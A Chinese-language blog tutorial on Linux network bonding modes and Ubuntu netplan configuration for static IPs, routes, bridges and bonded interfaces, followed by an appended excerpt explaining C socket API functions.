    负载均衡—基于指定的传输HASH策略传输数据包。
    容错能力—这模式的特点增加了带宽,同时支持容错能力,当有链路出问题,会把流量切换到正常的链路上。
    需要交换机配置为port channel

  • mod=3,即:broadcast(广播策略)这种模式的特点是一个报文会复制两份往bond下的两个接口分别发送出去,当有对端交换机失效,感觉不到任何downtime,但此法过于浪费资源;不过这种模式有很好的容错机制。此模式适用于金融行业,因为他们需要高可靠性的网络,不允许出现任何问题。

  • mod=4,即:(802.3ad) IEEE 802.3ad Dynamic link aggregation(IEEE 802.3ad 动态链接聚
    合)在动态聚合模式下,聚合组内的成员端口上均启用LACP(链路汇聚控制协议)协议,其端口状态通过该协议自动进行维护。
    负载均衡—基于指定的传输HASH策略传输数据包。默认算法与blance-xor一样。
    容错能力—这模式的特点增加了带宽,同时支持容错能力,当有链路出问题,会把流量切换到正常的链路上。对比blance-xor,这种模式定期发送LACPDU报文维护链路聚合状态,保证链路质量。
    需要交换机支持LACP协议

  • mod=5,即:(balance-tlb) Adaptive transmit load balancing(适配器传输负载均衡)
    在每个物理接口上根据当前的负载(根据速度计算)分配外出流量。如果正在接收数据的物理接口口出故障了,另一个物理接口接管该故障物理口的MAC地址。
    需要ethtool支持获取每个slave的速率

  • mod=6,即:(balance-alb) Adaptive load balancing(适配器适应性负载均衡)
    该模式包含了balance-tlb模式,同时加上针对IPV4流量的接收负载均衡,而且不需要任何
    switch(交换机)的支持。接收负载均衡是通过ARP协商实现的。bonding驱动截获本机发送的ARP应答,并把源硬件地址改写为bond中某个物理接口的唯一硬件地址,从而使得不同的对端使用不同的硬件地址进行通信。

mod=6与mod=0的区别:mod=6,先把eth0流量占满,再占eth1,….ethX;而mod=0的话,会发现2个口的流量都很稳定,基本一样的带宽。而mod=6,会发现第一个口流量很高,第2个口只占了小部分流量

说明:

常用的模式为 0,1,3,6
mode 1、5、6 不需要交换机设置
mode 0、2、3、4需要交换机设置
active-backup、balance-tlb 和 balance-alb 模式不需要交换机的任何特殊配置。其他绑定模式需
要配置交换机以便整合链接。如:Cisco 交换机需要在模式 0、2 和 3 中使用 EtherChannel,但在模
式4中需要 LACP和 EtherChannel
5.7.2 Bonding 配置

详细帮助

/usr/share/doc/kernel-doc-version/Documentation/networking/bonding.txt
https://www.kernel.org/doc/Documentation/networking/bonding.txt

创建bonding设备的配置文件

/etc/sysconfig/network-scripts/ifcfg-bond0
    NAME=bond0
    TYPE=bond
    DEVICE=bond0
    BOOTPROTO=none
    IPADDR=10.0.0.100
    PREFIX=8
    #miimon指定链路监测时间间隔。如果miimon=100,那么系统每100ms 监测一次链路连接状态,如果有一
    条线路不通就转入另一条线路
    BONDING_OPTS="mode=1 miimon=100 fail_over_mac=1"

/etc/sysconfig/network-scripts/ifcfg-eth0
    NAME=eth0
    DEVICE=eth0
    BOOTPROTO=none
    MASTER=bond0
    SLAVE=yes
    ONBOOT=yes
/etc/sysconfig/network-scripts/ifcfg-eth1
    NAME=eth1
    DEVICE=eth1
    BOOTPROTO=none
    MASTER=bond0
    SLAVE=yes
    ONBOOT=yes

查看bond0状态
/proc/net/bonding/bond0

删除bond0
ifconfig bond0 down
rmmod bonding

三、ubuntu网络配置

1.网卡名称修改

ubuntu修改网卡名称:

#修改配置文件为下面形式
root@ubuntu1804:~#vi /etc/default/grub
GRUB_CMDLINE_LINUX="net.ifnames=0"
#或者sed修改
root@ubuntu1804:~# sed -i.bak '/^GRUB_CMDLINE_LINUX=/s#"$#net.ifnames=0"#' /etc/default/grub
root@maple-u18:~# grub-mkconfig -o /boot/grub/grub.cfg ;reboot

2. 配置静态IP

ubuntu在18.04版本中的网络配置已经由
/etc/network/interfaces 换成了/etc/netplan/*.yaml配置文件了。
网卡配置文件采用YAML格式,必须以 /etc/netplan/XXX.yaml 文件命名方式存放
yml后缀不可以。
可以每个网卡对应一个单独的配置文件,也可以将所有网卡都放在一个配置文件里

root@ubuntu1804:~# vim /etc/network/interfaces
# ifupdown has been replaced by netplan(5) on this system.  See
# /etc/netplan for current configuration.
# To re-enable ifupdown on this system, you can run:
#    sudo apt install ifupdown

范例

vim /etc/netplan/01-netcfg.yaml
network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      addresses: [10.0.0.151/24,1.1.1.1/32] #和下面方式不能混合用
        - 10.0.0.151/24
        - 1.1.1.1/32
      nameservers:
        search: [maple.com,maple.org]
        addresses:
          - 114.114.114.114
          - 8.8.8.8
      gateway4: 10.0.0.2

注意:地址一项必须加中括号,即使只有一个地址。

生效

netplan apply #加载网卡配置文件
ip a #查看地址是否生效
route -n  #查看网关是否生效
cat /etc/resolv.conf  #仅有search加到配置文件中了,dns没看到。
ll /etc/resolv.conf   #可以看到在ubuntu中resolv文件由systemd统一管理了。
systemd-resolv --status  #可以看到配置的DNS,
# resolvectl status Ubuntu 20.04新命令

search的作用
当只ping主机名时,自动补全后面的域名。
例:网卡配置文件里已经配置了search

vim /etc/host
127.0.0.1       localhost www.maple.com

root@ubuntu1804:/etc/netplan# ping www
PING www.maple.com (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.009 ms

3. 配置自动获取IP

vim /etc/netplan/01-netcfg.yaml
network:
version: 2
renderer: networkd
ethernets:
 eth0:
  dhcp4: yes

4. 配置多⽹卡静态IP和静态路由

mv eth0.yaml netcfg.yaml
vim netcfg.yaml 
network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      dhcp4: no
      dhcp6: no
      addresses:
        - 10.0.0.151/24
        - 1.1.1.1/32
      nameservers:
        search: [maple.com,maple.org]
        addresses:
          - 114.114.114.114
          - 8.8.8.8
      gateway4: 10.0.0.2
    eth1:
      dhcp4: no
      dhcp6: no
      addresses: [10.20.0.100/24]
      nameservers:
        addresses: [223.6.6.6]
      routes:
        - to: 10.30.0.0/24   #去往该网段的路由
          via: 10.20.0.1     #下一跳为10.20.0.1
        - to: 10.40.0.0/24
          via: 10.20.0.1
        - to: 10.50.0.0/24
          via: 10.20.0.1
        - to: 10.60.0.0/24
          via: 10.20.0.1

   73  history 
root@ubuntu1804:/etc/netplan# !70
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:ad:3d:7d brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.151/24 brd 10.0.0.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet 1.1.1.1/32 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:fead:3d7d/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:ad:3d:87 brd ff:ff:ff:ff:ff:ff
    inet 10.20.0.100/24 brd 10.20.0.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:fead:3d87/64 scope link 
       valid_lft forever preferred_lft forever
root@ubuntu1804:/etc/netplan# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         10.0.0.2        0.0.0.0         UG    0      0        0 eth0
10.0.0.0        0.0.0.0         255.255.255.0   U     0      0        0 eth0
10.20.0.0       0.0.0.0         255.255.255.0   U     0      0        0 eth1
10.30.0.0       10.20.0.1       255.255.255.0   UG    0      0        0 eth1
10.40.0.0       10.20.0.1       255.255.255.0   UG    0      0        0 eth1
10.50.0.0       10.20.0.1       255.255.255.0   UG    0      0        0 eth1
10.60.0.0       10.20.0.1       255.255.255.0   UG    0      0        0 eth1                    

5. 配置单网桥连接:

三个网卡在一个配置文件里

network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      dhcp4: yes
    eth1:
      dhcp4: no
      dhcp6: no
    eth2:
      dhcp4: no
      dhcp6: no
  bridges:
    br0:
      dhcp4: no
      dhcp6: no
      addresses: [10.0.0.161/24]
      nameservers:
        addresses: [114.114.114.114,8.8.8.8]
      gateway4: 10.0.0.2
      interfaces:
        - eth1
        - eth2

也可以一个网卡一个配置文件,网桥配置单独抽离出配置文件

netcfg.yaml
network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      dhcp4: yes

br0.yaml
network:
  version: 2
  renderer: networkd
  ethernets:
    eth1:
      dhcp4: no
      dhcp6: no
    eth2:
      dhcp4: no
      dhcp6: no
  bridges:
    br0:
      dhcp4: no
      dhcp6: no
      addresses: [10.0.0.161/24]
      nameservers:
        addresses: [114.114.114.114,8.8.8.8]
      gateway4: 10.0.0.2
      interfaces:
        - eth1
        - eth2

root@ubuntu1804:/etc/netplan# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:ad:3d:7d brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.151/24 brd 10.0.0.255 scope global dynamic eth0
       valid_lft 1634sec preferred_lft 1634sec
    inet6 fe80::20c:29ff:fead:3d7d/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel master br0 state UP group default qlen 1000
    link/ether 00:0c:29:ad:3d:87 brd ff:ff:ff:ff:ff:ff
4: eth2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel master br0 state UP group default qlen 1000
    link/ether 00:0c:29:ad:3d:91 brd ff:ff:ff:ff:ff:ff
5: br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 82:0c:13:fb:65:26 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.161/24 brd 10.0.0.255 scope global br0
       valid_lft forever preferred_lft forever
    inet6 fe80::800c:13ff:fefb:6526/64 scope link 
       valid_lft forever preferred_lft forever

br0将eth1和eth2连接到自身,和eth1和eth2网络在同一网段的能够相互通信,
我这里的IP分配的稍微有问题,eth0的dhcp地址池分配的ip也是10网段的了,导致路由表里面有10网段的路由有两条记录
并且我宿主机10.0.0.1ssh连不上 10.0.0.151eth0接口了。
在主机里面加一条主机路由到宿主机即可ssh
route add -host 10.0.0.1/32 dev eth0

配置多网桥同样配置,在bridges下加个br1即可。

6. 配置多网卡绑定-链路聚合

network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      dhcp4: no
      dhcp6: no
    eth1:
      dhcp4: no
      dhcp6: no
  bonds:
    bond0:
      interfaces:
        - eth0
        - eth1
      addresses: [10.0.0.151/24]
      gateway4: 10.0.0.2
      nameservers:
        addresses: [223.6.6.6,114.114.114.114]
      parameters:
        mode: active-backup
        mii-monitor-interval: 100

ping测试,当断掉其中一个网卡时,能够正常ping通,当两个网卡都断掉之后,网络断开。重新接入网卡,网络恢复正常

7. 双⽹卡绑定+桥接

将做了网卡绑定的bond在桥接在网桥上。

network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      dhcp4: no
      dhcp6: no
    eth1:
      dhcp4: no
      dhcp6: no
  bonds:
    bond0:
      interfaces:
        - eth0
        - eth1
      parameters:
        mode: active-backup
        mii-monitor-interval: 100
  bridges:
    br0:
      addresses: [10.0.0.151/24]
      gateway4: 10.0.0.2
      nameservers:
        addresses: [223.6.6.6,114.114.114.114]
      interfaces:
        - bond0

root@ubuntu1804:/etc/netplan# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         10.0.0.2        0.0.0.0         UG    0      0        0 br0
10.0.0.0        0.0.0.0         255.255.255.0   U     0      0        0 br0
root@ubuntu1804:/etc/netplan# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,SLAVE,UP,LOWER_UP> mtu 1500 qdisc fq_codel master bond0 state UP group default qlen 1000
    link/ether 2a:9d:8d:39:0d:c3 brd ff:ff:ff:ff:ff:ff
3: eth1: <BROADCAST,MULTICAST,SLAVE,UP,LOWER_UP> mtu 1500 qdisc fq_codel master bond0 state UP group default qlen 1000
    link/ether 2a:9d:8d:39:0d:c3 brd ff:ff:ff:ff:ff:ff
4: bond0: <BROADCAST,MULTICAST,MASTER,UP,LOWER_UP> mtu 1500 qdisc noqueue master br0 state UP group default qlen 1000
    link/ether 2a:9d:8d:39:0d:c3 brd ff:ff:ff:ff:ff:ff
5: br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 82:0c:13:fb:65:26 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.151/24 brd 10.0.0.255 scope global br0
       valid_lft forever preferred_lft forever
    inet6 fe80::800c:13ff:fefb:6526/64 scope link 
       valid_lft forever preferred_lft forever

网卡的多组绑定:同理,配置多个bond,每个bond绑定多个网卡

多网卡绑定+多桥接:将多个bond根据业务需求接到不同的网桥,实现业务互通和隔离。

  • 30
    点赞
  • 315
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 7
    评论
netstat 命令 netstat是用来显示网络的连接,路由表和接口统计等网络的信息.netstat有许多的 选项 我们常用的选项是 -an 用来显示详细网络状态.至于其它的选项我们可以使用帮 助手册获得详细的情况. telnet telnet是一个用来远程控制的程序,但是我们完全可以用这个程序来调试我们的服务端程 序的. 比如我们的服务器程序在监听 8888 端口,我们可以用 telnet localhost 8888来查 看服务端的状况. TCP(Transfer Control Protocol)传输控制协议是一种面向连接的协议,当我们的网络程 序使用 这个协议的时候,网络可以保证我们的客户端和服务端的连接是可靠的,安全的. UDP(User Datagram Protocol)用户数据报协议是一种非面向连接的协议,这种协议并不能保证 我们的网络程序的连接是可靠的,所以我们现在编写的程序一般是采用 TCP协议的 socket int socket(int domain, int type,int protocol) domain:说明我们网络程序所在的主机采用的通讯协族(AF_UNIX 和AF_INET 等). AF_UN IX 只能够用于单一的 Unix 系统进程间通信,而 AF_INET 是针对Internet的,因而可以允许在 远程 主机之间通信(当我们 man socket 时发现 domain 可选项是 PF_*而不是AF_*,因为 glibc 是 posix 的实现 所以用 PF代替了 AF,不过我们都可以使用的). type:我们网络程序所采用的通讯协议(SOCK_STREAM,SOCK_DGRAM 等) SOCK_STREAM 表明 我们用的是 TCP协议,这样会提供按顺序的,可靠,双向,面向连接的比特流. SOCK_DGRAM 表明我们用的是 UDP协议,这样只会提供定长的,不可靠,无连接的通信. protocol:由于我们指定了 type,所以这个地方我们一般只要用 0 来代替就可以了 sock et 为网络通讯做基本的准备.成功时返回文件描述符,失败时返回-1,看 errno 可知道出错 的详细情况. bind int bind(int sockfd, struct sockaddr *my_addr, int addrlen) sockfd:是由socket调用返回的文件描述符. addrlen:是 sockaddr结构的长度. my_addr:是一个指向 sockaddr的指针. 在<linux/socket.h>;中有 sockaddr的定义 struct sockaddr{ unisgned short as_family; char sa_data[14]; }; 不过由于系统的兼容性,我们一般不用这个头文件,而使用另外一个结构(struct sock addr_in) 来代替.在<linux/in.h>;中有 sockaddr_in 的定义 struct sockaddr_in{ unsigned short sin_family; unsigned short int sin_port; struct in_addr sin_addr; unsigned char sin_zero[8]; 我们主要使用 Internet所以 sin_family 一般为 AF_INET,sin_addr设置为 INADDR_ANY 表 示可以 和任何的主机通信,sin_port 是我们要监听的端口号.sin_zero[8]是用来填充的 .. bind 将本地的端口同 socket返回的文件描述符捆绑在一起.成功是返回 0,失败的情况和 socket一样 listen int listen(int sockfd,int backlog) sockfd:是 bind 后的文件描述符. backlog:设置请求排队的最大长度.当有多个客户端程序和服务端相连时, 使用这个表示 可以介绍的排队长度. listen函数将 bind 的文件描述符变为监听套接字.返回的情况和 b ind 一样. accept int accept(int sockfd, struct sockaddr *addr,int *addrlen) sockfd:是 listen后的文件描述符. addr,addrlen是用来给客户端的程序填写的,服务器端只要传递指针就可以了. bind,li sten和 accept是服务器端用的函数,accept调用时,服务器端的程序会一直阻塞到有一个 客户程序发出了连接. accept 成功时返回最后的服务器端的文件描述符,这个时候服务 器端可以向该描述符写信息了. 失败时返回-1 connect int connect(int sockfd, struct sockaddr * serv_addr,int addrlen) sockfd:socket返回的文件描述符. serv_addr:储存了服务器端的连接信息.其中 sin_add 是服务端的地址 addrlen:serv_addr的长度 connect函数是客户端用来同服务端连接的.成功时返回 0,sockfd 是同服务端通讯的文件 描述符 失败时返回-1. 总的来说网络程序是由两个部分组成的--客户端和服务器端.它们的建立步骤一般是: 服务器端 socket-->;bind-->;listen-->;accept 客户端 socket-->;connect 字节转换函数 在网络上面有着许多类型的机器,这些机器在表示数据的字节顺序是不同的, 比如 i386 芯 片是低字节在内存地址的低端,高字节在高端,而 alpha 芯片却相反. 为了统一起来,在 Li nux 下面,有专门的字节转换函数. unsigned long int htonl(unsigned long int hostlong) unsigned short int htons(unisgned short int hostshort) unsigned long int ntohl(unsigned long int netlong) unsigned short int ntohs(unsigned short int netshort) 在这四个转换函数中,h 代表 host, n 代表 network.s 代表 short l 代表 long 第一个函 数的意义是将本机器上的 long 数据转化为网络上的 long. 其他几个函数的意义也差不多 .. IP 和域名的转换 在网络上标志一台机器可以用 IP或者是用域名.那么我们怎么去进行转换呢? struct hostent *gethostbyname(const char *hostname) struct hostent *gethostbyaddr(const char *addr,int len,int type) 在<netdb.h>;中有 struct hostent的定义 struct hostent{ char *h_name; /* 主机的正式名称 */ char *h_aliases; /* 主机的别名 */ int h_addrtype; /* 主机的地址类型 AF_INET*/ int h_length; /* 主机的地址长度 对于IP4 是 4 字节 32 位*/ char **h_addr_list; /* 主机的 IP地址列表 */ } #define h_addr h_addr_list[0] /* 主机的第一个 IP地址*/ gethostbyname 可以将机器名(如 linux.yessun.com)转换为一个结构指针.在这个结构里 面储存了域名的信息 gethostbyaddr可以将一个 32 位的 IP地址(C0A80001)转换为结构指针. 这两个函数失败时返回 NULL 且设置 h_errno 错误变量,调用 h_strerror()可以得到详细的 出错信息 字符串的 IP 和 32位的 IP 转换. 在网络上面我们用的 IP都是数字加点(192.168.0.1)构成的, 而在 struct in_addr结构中 用的是 32 位的 IP, 我们上面那个 32 位IP(C0A80001)是的 192.168.0.1 为了转换我们可以 使用下面两个函数 int inet_aton(const char *cp,struct in_addr *inp) char *inet_ntoa(struct in_addr in) 函数里面 a 代表 ascii n 代表 network.第一个函数表示将 a.b.c.d 的 IP转换为 32 位的 I P,存储在 inp 指针里面.第二个是将 32 位 IP转换为 a.b.c.d 的格式 服务信息函数 在网络程序里面我们有时候需要知道端口.IP和服务信息.这个时候我们可以使用以下几 个函数 int getsockname(int sockfd,struct sockaddr *localaddr,int *addrlen) int getpeername(int sockfd,struct sockaddr *peeraddr, int *addrlen) struct servent *getservbyname(const char *servname,const char *protoname) struct servent *getservbyport(int port,const char *protoname) struct servent { char *s_name; /* 正式服务名 */ char **s_aliases; /* 别名列表 */ int s_port; /* 端口号 */ char *s_proto; /* 使用的协议 */ } 一般我们很少用这几个函数.对应客户端,当我们要得到连接的端口号时在 connect调用成 功后使用可得到 系统分配的端口号.对于服务端,我们用 INADDR_ANY 填充后,为了得到连 接的 IP我们可以在 accept 调用成功后 使用而得到IP地址. 在网络上有许多的默认端口和服务,比如端口 21 对 ftp80 对应 WWW.为了得到指定的端口号 的服务 我们可以调用第四个函数,相反为了得到端口号可以调用第三个函数.

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

清枫cc

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值